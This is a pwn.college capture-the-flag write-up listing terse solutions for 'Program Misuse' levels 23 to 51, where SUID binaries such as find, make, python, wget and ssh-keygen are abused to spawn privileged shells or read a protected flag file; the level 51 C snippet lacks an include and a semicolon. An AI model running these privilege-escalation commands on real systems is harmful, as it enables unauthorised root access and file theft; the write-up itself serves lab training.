【pwn.college WriteUp】Playing With Programs——Program Misuse(level23-level51)

Playing With Programs

Tool

GTFOBins

level23

/challenge/bin/genisoimage -sort "/flag"

level24

/challenge/bin/env /bin/sh -p

level25

./find . -exec /bin/sh -p \; -quit

level26

COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"

level27

./nice /bin/sh -p

level28

./timeout 7d /bin/sh -p

level29

./stdbuf -i0 /bin/sh -p

level30

./setarch $(arch) /bin/sh -p

level31

./watch -x sh -p -c 'reset; exec sh -p 1>&0 2>&0'

level32

LFILE=/flag
socat -u "file:$LFILE" -

level33

LFILE=/flag
whiptail --textbox --scrolltext "$LFILE" 20 80

level34

LFILE=/flag
./awk '//' "$LFILE"

level35

LFILE=/flag
./sed -e '' "$LFILE"

level36

./ed /flag
,p
q

level37

chown /flag hacker
cat /flag

level38

chmod 777 /flag
cat /flag

level39

cp /flag /dev/stdout

level40

/challenge/bin/mv /usr/bin/cat /challenge/bin/mv
/challenge/babysuid
/challenge/bin/mv /flag

level41

perl -ne print /flag

level42

./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

level43

echo "puts File.read("/flag")" > ruby-exp.rb
./ruby ruby-exp.rb

level44

./bash -p

level45

./date -f /flag

level46

./dmesg -rF /flag

level47

./wc --files0-from /flag

level48

./gcc @/flag

level49

./as @/flag

level50

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
./wget --use-askpass=$TF 0

level51

  1. 先编写一个test.c

    #include <dlfcn.h>
    #include <unistd.h>
    
    static void C_GetFunctionList() __attribute__((constructor));
    
    void C_GetFunctionList()
    {
        printf("euid: %d\n", geteuid());
        execl("/bin/sh","/bin/sh -p","-p",NULL)
    }
    
    int main()
    {
        return 0;
    }
    
    1. 然后编译gcc -shared -o libtest.so -fPIC test.c
    2. 然后用ssh-keygen运行ssh-keygen -D libtest.so获取shell
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值